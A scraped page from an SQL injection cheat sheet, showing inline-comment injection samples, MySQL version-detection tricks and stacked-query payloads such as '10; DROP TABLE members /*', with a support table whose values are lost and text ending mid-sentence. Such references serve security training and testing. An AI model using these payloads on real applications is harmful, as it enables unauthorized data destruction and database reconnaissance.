Sql Injection Cheat Sheet Page 3

ADVERTISEMENT

SELECT /*!32302 1/0, */ 1 FROM tablename
Classical Inline Comment SQL Injection Attack Samples
ID:
10; DROP TABLE members /*
Simply get rid of other stuff at the end the of query. Same as
10; DROP TABLE
members --
SELECT /*!32302 1/0, */ 1 FROM tablename
Will throw an divison by 0 error if MySQL version is higher than 3.23.02
MySQL Version Detection Sample Attacks
ID:
/*!32302 10*/
ID:
10
You will get the same response if MySQL version is higher than 3.23.02
SELECT /*!32302 1/0, */ 1 FROM tablename
Will throw an divison by 0 error if MySQL version is higher than 3.23.02
Stacking Queries
Executing more than one query in one transaction. This is very useful in every
injection point, especially in SQL Server back ended applications.
(S)
;
SELECT * FROM members; DROP members--
Ends a query and starts a new one.
Language / Database Stacked Query Support Table
green: supported, dark gray: not supported, light gray: unknown
SQL Server MySQL PostgreSQL ORACLE MS Access
ASP
ASP.NET
PHP
Java
About MySQL and PHP;
To clarify some issues;
PHP - MySQL doesn't support stacked queries, Java doesn't support stacked queries
(I'm sure for ORACLE, not quite sure about other databases). Normally MySQL
supports stacked queries but because of database layer in most of the configurations it’s

ADVERTISEMENT

00 votes

Related Articles

Related forms

Related Categories

Parent category: Education